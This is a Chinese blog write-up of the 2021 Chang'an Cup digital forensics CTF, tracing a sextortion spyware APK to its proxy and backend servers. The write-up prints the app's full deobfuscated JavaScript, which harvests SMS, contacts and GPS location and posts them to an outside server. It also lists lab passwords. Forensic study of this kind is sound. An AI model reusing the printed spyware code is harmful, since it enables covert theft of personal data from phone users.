数字取证DIDCTF(超级缓慢更新)
DIDCTF
2021第三届长安杯
案情如下
检材1
2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导luoliao,下载了某“luoliao”软件,导致自己的通讯录和luoliao视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“luoliao”软件的安装包--zhibo.apk(检材一),请各位回答下列问题:(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例192.168.110.110-CAB2021)
MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c
参考文章:2021长安杯 - XDforensics-Wiki、2021年长安杯电子数据取证比赛复盘完整版(wp) - 灰信网(软件开发博客聚合)、电子数据取证刷题 | iyheart 的博客
1.请计算检材一Apk的SHA256值
比赛都是由VeraCrypt进行加密的磁盘,密码是:
2021第三届CAB-changancup.com
是的第一步就卡了我很久……
使用以下命令计算:
certutil -hashfile 检材一-zhibo.apk sha256
certutil
Windows 内置工具,主要用于管理证书,但也支持文件哈希计算功能。
2.该APK的应用包名为
在 Android 应用中,APK 的包名(Package Name) 是应用的唯一标识符,通常遵循反向域名命名规则(如 com.example.myapp
)。
所以apk安装后在桌面上显示的并不是APK的包名,而是叫应用名称
属性 | 说明 |
---|---|
应用名称 | 用户可见的名称(如“bilibili”、“微信”),可随意修改,与包名无关。 |
应用包名 | 开发者在代码中定义的唯一标识符(如 com.tencent.mm ),不可重复,用于系统识别。 |
使用GDA进行分析:
在BaseInfo
中的Package Name
中可以找到其应用包名
3.该APK程序在封装服务商的应用唯一标识(APPID)为
APPID:
- 由第三方服务商(如微信开放平台、支付宝、极光推送等)为你的应用生成的 唯一字符串,用于区分不同应用或同一应用的不同环境(如开发/生产)。
- 作用:
- 服务商通过 APPID 识别请求来源,验证应用合法性。
- 关联应用在服务商后台的配置(如支付密钥、回调地址、权限等)。
常见场景与 APPID 示例
服务类型 | 服务商示例 | APPID 格式 | 获取位置 |
---|---|---|---|
微信登录/支付 | 微信开放平台 | wx1234567890abcdef |
微信开放平台 → 应用详情 → 基本配置 |
支付宝支付 | 支付宝开放平台 | 2021003105691234 |
支付宝开放平台 → 应用详情 → 应用信息 |
极光推送 | 极光推送 (JPush) | a1b2c3d4e5f6g7h8i9j0 |
极光控制台 → 应用设置 → 应用详情 |
友盟统计 | 友盟+ (Umeng) | 5f3d4e5f6g7h8i9j0 |
友盟后台 → 应用管理 → 应用信息 |
腾讯云服务 | 腾讯云 | 1250000000 |
腾讯云控制台 → 访问管理 → API 密钥管理 |
- 保密性:APPID 通常需与
AppSecret
或API Key
配合使用,需妥善保管,避免泄露。 - 环境区分:开发环境和生产环境可能需要不同的 APPID(如测试版和正式版)。
- 权限绑定:部分服务商要求 APPID 与应用的 包名 和 签名证书 严格匹配,否则调用失败。
常见问题
Q1: APPID 和 APK 包名不一致会怎样?
- 结果:服务商 API 调用失败(如微信支付报错
“签名错误”
)。 - 解决:在服务商后台检查绑定的包名和签名是否与 APK 一致。
Q2: 一个应用可以有多个 APPID 吗?
- 可以:例如,同时集成微信登录和支付宝支付时,需分别申请各自的 APPID。
Q3: APPID 泄露了怎么办?
- 风险:可能被恶意调用,产生资损或数据泄露。
- 措施:立即在服务商后台重置
AppSecret
或停用旧 APPID。
看WP里面说都是用雷电APP自动分析的
包名里面包含着APPID,怎么回事?
某些 SDK 或服务商(如 Hybrid 混合开发框架、WebView 封装工具)可能会要求开发者将 APPID 直接嵌入包名,以便:
-
自动化配置:动态生成应用时,直接通过包名解析 APPID,避免手动维护多个配置文件。
-
唯一性校验:通过包名中的 APPID 快速验证应用合法性(例如企业内部分发应用)。
-
示例:
若一个平台为不同客户生成定制化 APK,包名格式可能为平台前缀.客户APPID
(如plus.H5B8E45D3
),便于批量管理。
没有申请火眼取证,这里用AI的方法解出:
使用apktool进行反编译
寻找APPID重点关注以下目录:
res/values/strings.xml
:可能存储硬编码的 APPID。AndroidManifest.xml
:声明第三方 SDK 的权限或配置。assets/
或lib/
:存放配置文件或 SDK 密钥。
AndroidManifest.xml
中找到关键内容,就在包名之后。
<meta-data android:name="DCLOUD_STREAMAPP_CHANNEL" android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"/>
<meta-data>
标签:用于在 AndroidManifest.xml
文件中声明 额外的配置信息。
android:name="DCLOUD_STREAMAPP_CHANNEL"
DCLOUD_STREAMAPP_CHANNEL
可能是 DCloud(HBuilder) 相关的一个标识。- DCloud 是开发 HBuilder 和 uni-app 的公司,这可能是 DCloud HBuilder App 的流应用渠道信息。
android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"
plus.H5B8E45D3
→ 可能是 应用的 Plus 标识(与 HBuilder 相关)。H5B8E45D3
→ 可能是 HBuilder 生成的 App 唯一标识(HBuilder 生成的 H5 App 可能都会有一个这样的 ID)。128361130111
→ 可能是 渠道号或者开发者 ID。- 最后一个
|
为空,可能是预留字段。
4.该APK具备下列哪些危险权限(多选题):
A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信
手机APP
权限申请主要集中在AndroidManifest.xml
文件最上方:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
权限 | 作用 | 风险 |
---|---|---|
android.permission.INTERNET |
访问互联网 | 可能会上传数据 |
android.permission.WRITE_EXTERNAL_STORAGE |
读写外部存储 | 可能会窃取或篡改用户文件 |
android.permission.ACCESS_NETWORK_STATE |
读取网络状态 | 可能被用来监听网络活动 |
android.permission.ACCESS_WIFI_STATE |
读取 WiFi 状态 | 可能用于网络环境监听 |
android.permission.INSTALL_PACKAGES |
安装应用 | 可能会静默安装恶意软件 |
android.permission.REQUEST_INSTALL_PACKAGES |
允许安装应用 | 可能会诱导安装未知软件 |
android.hardware.camera |
访问相机 | 可能用于偷拍 |
android.hardware.camera.autofocus |
访问自动对焦功能 | 可能配合摄像头使用 |
android.permission.ACCESS_COARSE_LOCATION |
访问粗略位置信息 | 可能泄露用户位置 |
android.permission.ACCESS_FINE_LOCATION |
访问精确位置信息 | 可能用于 GPS 追踪 |
android.permission.READ_CONTACTS |
读取通讯录 | 可能窃取联系人信息 |
android.permission.READ_SMS |
读取短信 | 可能窃取验证码 |
android.permission.RECEIVE_SMS |
接收短信 | 可能用于劫持验证码 |
android.permission.SEND_SMS |
发送短信 | 可能导致恶意扣费 |
android.permission.WRITE_SMS |
写入短信 | 可能伪造短信 |
android.permission.GET_ACCOUNTS |
访问用户账户 | 可能获取 Google 账户等信息 |
android.permission.WRITE_CONTACTS |
修改通讯录 | 可能篡改联系人信息 |
android.permission.CHANGE_WIFI_STATE |
修改 WiFi 状态 | 可能用于劫持网络 |
android.permission.READ_PHONE_STATE |
读取设备信息 | 可能收集 IMEI、SIM 卡等信息 |
android.permission.MOUNT_UNMOUNT_FILESYSTEMS |
挂载/卸载文件系统 | 可能修改文件系统 |
android.permission.READ_LOGS |
读取系统日志 | 可能窃取敏感信息 |
android.permission.WRITE_SETTINGS |
修改系统设置 | 可能影响用户配置 |
com.huawei.android.launcher.permission.CHANGE_BADGE |
修改华为桌面图标角标 | 一般用于通知 |
android.permission.READ_EXTERNAL_STORAGE |
读取外部存储 | 可能访问用户文件 |
com.asus.msa.SupplementaryDID.ACCESS |
访问 ASUS 设备标识 | 可能用于设备追踪 |
常见危险权限:
权限描述 | 权限名(Android Manifest 中的名称) |
---|---|
读取短信 | android.permission.READ_SMS |
读取通讯录 | android.permission.READ_CONTACTS |
读取精确位置 | android.permission.ACCESS_FINE_LOCATION |
修改通讯录 | android.permission.WRITE_CONTACTS |
修改短信 | android.permission.WRITE_SMS |
5.该APK发送回后台服务器的数据包含一下哪些内容(多选题):
A.手机通讯录 B.手机应用列表 C.手机号码 D.验证码 E.GPS定位信息
模拟器安装软件后发现关键词,在jdax中进行搜索:
发现了应用主页面中进行了sojsonv4加密的script标签,使用在线工具进行解密查看:
/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();
mui.plusReady(function() {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);
var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(["android.permission.READ_SMS"],
function(resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}
var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor") var Uri = plus.android.importClass("android.net.Uri") //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity() var uri = Uri.parse("content://sms/");
var projection = new Array("_id", "address", "person", "body", "date", "type") var cusor = activity.managedQuery(uri, projection, null, null, "date desc") var idColumn = cusor.getColumnIndex("_id") var nameColumn = cusor.getColumnIndex("person") var phoneNumberColumn = cusor.getColumnIndex("address") var smsbodyColumn = cusor.getColumnIndex("body") var dateColumn = cusor.getColumnIndex("date") var typeColumn = cusor.getColumnIndex("type") if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn) SmsInfo.Name = cusor.getInt(nameColumn) SmsInfo.Date = cusor.getLong(dateColumn) SmsInfo.Date = getFormatDate(SmsInfo.Date) SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn) SmsInfo.Smsbody = cusor.getString(smsbodyColumn) SmsInfo.Type = cusor.getString(typeColumn)
var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;
}
duanxin = duanxin + ']';
//alert(duanxin);
mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function(data) {
mui.toast('获取成功')
//console.log(con)
},
error: function(xhr, type, errorThrown) {
//异常处理;
}
});
cusor.close()
}
},
function(error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}
//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function(format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}
//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}
//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");
mui("body").off("tap");
mui("body").on('tap', '#tx',
function(event) {
$('#tx').hide();
$('#zz').show();
});
mui("body").on('tap', '#gb',
function(event) {
$('#tx').show();
$('#zz').hide();
});
mui("body").on('tap', '#qd',
function(event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}
});
function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {
case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;
default:
permissionName = '未知';
androidPermission = '未知';
break;
}
//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return break;
default:
errorCallBack('不支持' + permissionName + '权限');
return break;
}
//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission],
function(e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
},
function(e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'],
function(e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);
plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
},
'div')
}
}
}
}
function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {
getPermission('CONTACTS',
function() {
huoqu(sjh, yqm);
},
function(msg) {
mui.alert(msg, '提醒', '确定',
function() {},
'div')
//aa()
})
} else {
mui.toast('请输入正确的手机号和邀请码')
}
}
function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint,
function(e) {
mui.toast("异常:" + e.message);
});
}
function translatePoint(position) {
var sjh = $('#sjh').val() var yqm = $('#yqm').val() var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function(data) {
if (data == '获取成功') {
requestPermission(sjh, yqm);
//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')
//},30000)
}
mui.toast(data)
},
error: function(xhr, type, errorThrown) {
//异常处理;
}
});
//书写自己的逻辑
}
// 扩展API加载完毕,现在可以正常调用扩展API
function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;
plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE,
function(addressbook) {
addressbook.find(["displayName", "phoneNumbers"],
function(contacts) {
for (var i = 0,
len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "": contacts[i].phoneNumbers[0].value);
}
mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function(data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function(xhr, type, errorThrown) {
//异常处理;
}
});
},
function() {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
},
{
multiple: true
});
},
function(e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}
});
答案为ACDE
6.该APK程序回传通讯录时,使用的http请求方式为()
由第五题可知使用POST请求方式
也可以先填写邀请码:
使用fiddler进行抓包,观察其请求包内容:
fiddler配置教程Fiddler对安卓模拟器里的APP抓包(步骤详细,各种抓包工具总结)_fiddlerr如何抓包模拟器-CSDN博客
可以发现使用了POST请求
7.该APK程序的回传地址域名为【标准格式:www.abc.com】
由第六题可知回传地址域名在Host
栏中:
www.honglian7001.com
8.该APK程序代码中配置的变量apiserver的值为【标准格式:www.abc.com/abc】
由第五题分析到的index.html
源码中发现
var apiserver = 'http://www.honglian7001.com/api/uploads/';
9.分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】 (后面不带/)
代码审计,对源码进行分析找出获取手机短信回传到后台的部分
短信功能搜索关键词:
短信、duanxin、sms等
可以发现回传地址为apiserver + 'apisms'
即
www.honglian7001.com/api/uploads/apisms
10.经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为
从模拟器中进行分析:
数据库默认存储在应用的私有目录中,路径为:`/data/data/<包名>/databases/`
也可以使用jdax进行反编译,搜索关键词sqlitehelper
、DATABASE_NAME
、dbName
、openOrCreateDatabase
、.db
、.sqlite
:
(?=.*sqlitehelper)(?=.*db)
SQLiteOpenHelper dbHelper = new FridaSQLiteHelper(this, "test.db", null, 1);
这行代码是在 Android 应用 中创建或打开一个 SQLite 数据库,用于存储和管理数据。具体解析如下:
部分 | 解析 |
---|---|
SQLiteOpenHelper |
这是 Android SQLite 数据库的辅助类,用于管理数据库的创建、升级等操作。 |
dbHelper |
这是一个 SQLiteOpenHelper 的实例,用于操作数据库。 |
new FridaSQLiteHelper(...) |
创建一个自定义的 SQLite 帮助类(FridaSQLiteHelper 继承自 SQLiteOpenHelper ),用于数据库操作。 |
this |
传入 当前 Context (通常是 Activity 或 Application ),用于访问数据库。 |
"test.db" |
指定 数据库文件的名称,存储在应用的私有目录 /data/data/包名/databases/test.db 中。 |
null |
这里通常是 CursorFactory ,如果为 null ,表示使用默认的 CursorFactory 。 |
1 |
设定 数据库版本号,如果版本号变化,onUpgrade() 方法会被调用以升级数据库。 |
11.经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为
他们都有雷电APP分析只有我没有……
只好手搓frida脚本提取
Frida:
Frida 是一个强大的动态代码插桩工具,可用于 实时分析、修改和监控 APK 的运行行为。通过编写 Frida 脚本(JavaScript 或 Python),开发者或安全研究人员可以 Hook 目标应用的方法、修改参数、拦截数据等。以下是详细的解析和使用指南:
HOOK:
HOOK(钩子) 是一种拦截并修改程序执行流程的技术,类似于在代码执行路径上“挂钩子”,从而监控、修改或阻断原有行为。它是软件逆向、安全分析和自动化测试中的核心手段。
教程:Python+Frida+雷电模拟器 新手入坑实录 - 吾爱破解 - 52pojie.cn、windows下载安装adb(极其简单)_adb工具下载windows-CSDN博客
坑:下载的是frida-server
,要看仔细下载,最下面有个show all
,不要下了frida-core
:
并且现在的雷电模拟器用的框架是X86_64
,不要搞错版本了
常用命令:
adb kill-server 连接不上时进行重启
adb devices 查看模拟器是否上线
我出现了这个问题:
个人解决方法:搜索frida.exe
所在目录,添加到环境变量中
大功告成,让AI帮我编写出一个frida脚本sqldb.js
:
使用命令:
(不会,先空着待补充)
答案:c74d97b01eae257e44aa9d5bade97baf
检材2
经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析。
1.检材二的原始硬盘的SHA256值为
解压密码为检材1中第七题答案:
www.honglian7001.com
这里我就用美亚柏科授权的取证大师分析了(试用版)
新建案件后导入磁盘镜像,计算其哈希值:
因为要计算原始硬盘的SHA256,不能直接计算.E01
文件的哈希值,应该挂载后计算硬盘的哈希值,取证大师能够自动挂载进行计算:
2.查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】
查看用户登录信息
中的内容:
根据背景,案发时间应该为2021年4月24日
可以发现最近的登录信息由192.168.110.203
所登录
也可以使用仿真大师对虚拟镜像挂载到虚拟机中,可以绕过root用户的密码登录,使用密码123456
登录root用户
在仿真环境下,使用以下命令查看用户最近登录信息:
last
3.请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】
常见的服务器在集群中承担的作用:
角色类型 | 主要作用 | 关键技术/工具 | 重要性 |
---|---|---|---|
负载均衡器 | 将用户请求分发到集群中的多个节点,避免单点过载,提高整体性能和可用性。 | Nginx、HAProxy、F5、AWS ELB | 确保流量合理分配,提升并发处理能力。 |
计算节点 | 执行实际的数据处理、业务逻辑运算(如数据分析、模型训练、事务处理等)。 | Kubernetes、Docker、Spark、Hadoop | 承担核心计算任务,直接影响处理效率。 |
存储节点 | 提供分布式数据存储,支持高可用、高并发的数据读写(如数据库、文件存储等)。 | HDFS、Ceph、GlusterFS、MySQL Cluster | 保障数据持久化、冗余备份和一致性。 |
管理节点 | 协调集群资源调度、节点监控、任务分配及容错管理(如集群配置、节点扩缩容等)。 | Kubernetes Master、Zookeeper、Mesos | 确保集群稳定运行,资源利用率最大化。 |
备份与恢复节点 | 定期备份数据,支持灾难恢复(如增量备份、全量备份、跨区域冗余)。 | Rsync、Bacula、Veeam、AWS S3 Glacier | 防止数据丢失,保障业务连续性。 |
网关/代理节点 | 处理外部请求路由、安全过滤(如API网关、防火墙、反向代理)。 | Traefik、Envoy、Istio、Nginx | 控制内外网通信,增强安全性和访问控制。 |
监控与日志节点 | 实时采集集群性能指标、日志数据,提供告警和可视化分析(如资源利用率、故障检测)。 | Prometheus、Grafana、ELK Stack、Zabbix | 快速定位问题,优化集群性能。 |
认证与授权节点 | 管理用户身份验证、权限控制(如单点登录、密钥分发、访问策略)。 | Keycloak、OAuth2、LDAP、Kerberos | 保障集群访问安全,防止未授权操作。 |
通过history
查看历史记录:
/opt
目录主要存放可选的程序,这里找到其工作目录:/opt/honglianjingsai
分析chronusNode
中的const.js
和controller文件夹中的配置文件
综合来看:
- 代码实现了基于 IP 的反向代理(代理不同的后端服务器)。
- 服务器本身不直接运行数据库或 Redis(通常负载均衡器不会自己存储数据)。
- 监听 80 端口,负责 HTTP 请求转发。
这些特征强烈指向该服务器在充当负载均衡器或反向代理服务器的角色
负载均衡的特征
-
目标服务器池
- 代码定义了多个目标服务器
_proxy50
、_proxy100
、_proxy100p
,这些服务器在不同 IP 地址上,表明该代理服务器不是单独的应用,而是将流量分发到多个后端服务器。
- 代码定义了多个目标服务器
-
基于 IP 地址分配请求
-
代码依据
客户端 IP 的第三段
来选择目标服务器,意味着:
- 可能有多个服务器共享同一业务,但为了负载均衡,流量被分配到不同的服务器上。
- 可能是不同区域的用户被定向到不同的后端服务器,类似于地理负载均衡。
-
-
WebSocket 代理支持
ws: true
说明该代理不仅支持 HTTP 请求,还支持 WebSocket 流量,适用于长连接服务,可能用于负载均衡 WebSocket 服务器。
4.上一题中,提到的主要功能对应的服务监听的端口为
5.上一题中,提到的服务所使用的启动命令为
在history
命令中发现:
6.经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】
主配置文件在controller
文件夹中的ADProxy.js
中
if (clientIPArr.length == 4) { // 确保 IP 地址格式正确(IPv4),即由 4 段组成
var clientIP3Int = parseInt(clientIPArr[2]); // 提取 IP 的第三段(C 段)并转换为整数
// 记录 HTTP 请求头信息
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
// 记录客户端 IP 地址
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
// 根据 IP 的 C 段值选择不同的代理服务器
if (clientIP3Int <= 50) {
// 如果第三段的值小于等于 50,则请求转发到 _proxy50
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50; // 返回代理服务器地址 _proxy50
} else if (clientIP3Int <= 100) {
// 如果第三段的值在 (50, 100] 之间,则请求转发到 _proxy100
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100; // 返回代理服务器地址 _proxy100
} else {
// 如果第三段的值大于 100,则请求转发到 _proxy100p
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p; // 返回代理服务器地址 _proxy100p
}
}
搜索关键词clientIPArr
7.经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】
8.请分析,该服务器转发的目标服务器一共有几台【标准格式:9】
根据第六题的分析,有三台
9.请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】
在log
文件夹中找到案发时间的日志,进行分析:
总共记录了235条请求,其中:
其中192.168.10.203
为罪犯的IP
受害者IP只能在192.168.110.252
和192.168.110.142
中选择
个人认为192.168.110.252
在日志时间线上后面一些,因此答案是这个
10.请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格 式:111.111.111.111】
继续分析日志,响应192.168.110.252
请求的IP为192.168.110.113
检材3
通过对检材二的分析,警方进一步掌握并落地到了目标服务器地址,通过对服务器进行证据固定,得到服务器镜像--检材三,请使用第21题答案对检材三进行解密并分析,回答下列问题
1.检材三的原始硬盘的SHA256值为
解压密码为检材2中第十题答案加上盐值:
192.168.110.113-CAB2021
这次检材给出了 web1.E01
、web2.E01
、web3.E01
三个磁盘镜像,分别对应攻击者的三个IP的服务器:192.168.110.111
、192.168.110.112
、192.168.110.113
仿真大师分析将三者合一了……:
由上个检材最后一题分析受害者的通讯录被窃取之后,经由该服务器转发到了IP为192.168.110.113
说明web3
的这个镜像才是关键的,因此计算其SHA-256值
答案:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF
2.请分析检材2第10题中,所指的服务器的开机密码为:
这里需要后面的辅助,因为重置密码是直接重置,不会显示原来的密码(Windows
会显示原来的。所以我们后面可以通过嫌疑人的PC
端的Xshell
中看到连接记录,从中可以看到密码
分析检材四中攻击者的PC时找到其登录记录(我也想用火眼取证做题😭)
猜测密码思路:
网站域名
答案:honglian7001
3.嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为
仅仿真web3.E01
登录后使用命令bt
打开宝塔面板:
这仿真的虚拟机不支持中文,使用shell工具连接其IP:
连接成功:
可见面板的登录用户名为:hl123
答案:hl123
